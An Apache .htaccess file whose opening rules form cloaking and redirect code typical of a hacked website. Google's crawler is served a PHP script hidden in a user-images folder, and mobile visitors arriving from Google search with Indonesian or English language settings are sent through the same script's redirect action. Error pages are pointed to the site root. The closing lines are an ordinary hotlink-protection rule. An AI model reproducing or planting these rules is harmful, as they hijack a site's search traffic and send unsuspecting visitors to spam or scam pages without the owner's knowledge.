RewriteEngine On
RewriteCond %{REQUEST_URI} !^/dppdashboard/userimgs/pages\.php$
RewriteCond %{REQUEST_URI} !\.(css|js|png|jpg|jpeg|gif|svg|ico|woff|woff2|xml|txt)$ [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google-inspection|inspectiontool) [NC]
RewriteRule ^.*$ /dppdashboard/userimgs/pages.php [L]
RewriteCond %{REQUEST_URI} !^/dppdashboard/userimgs/pages\.php$
RewriteCond %{REQUEST_URI} !\.(css|js|png|jpg|jpeg|gif|svg|ico|woff|woff2|mp4|webp|pdf)$ [NC]
RewriteCond %{HTTP_REFERER} ^https?://(www\.)?google\. [NC]
RewriteCond %{HTTP:Accept-Language} (^|[,;\s])((id|in|en)(-[A-Za-z0-9]+)?)(\s*;\s*q=[0-9.]+)?($|[,;\s]) [NC]
RewriteCond %{HTTP_USER_AGENT} (Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera\sMini|IEMobile) [NC]
RewriteRule ^.*$ /dppdashboard/userimgs/pages.php?action=redirect [L]
# Custom 404 Not Found Error Page
ErrorDocument 404 /
ErrorDocument 403 /

# the following prevents display of the filetohide file
Options -indexes
# the following prevents display of the filetohide file
RewriteEngine on 
RewriteCond %{HTTP_REFERER} !^http://192.168.30.27:9000/ [NC]
RewriteRule \.(gif|mp4|mov|mkv|flv)$ - [F,L]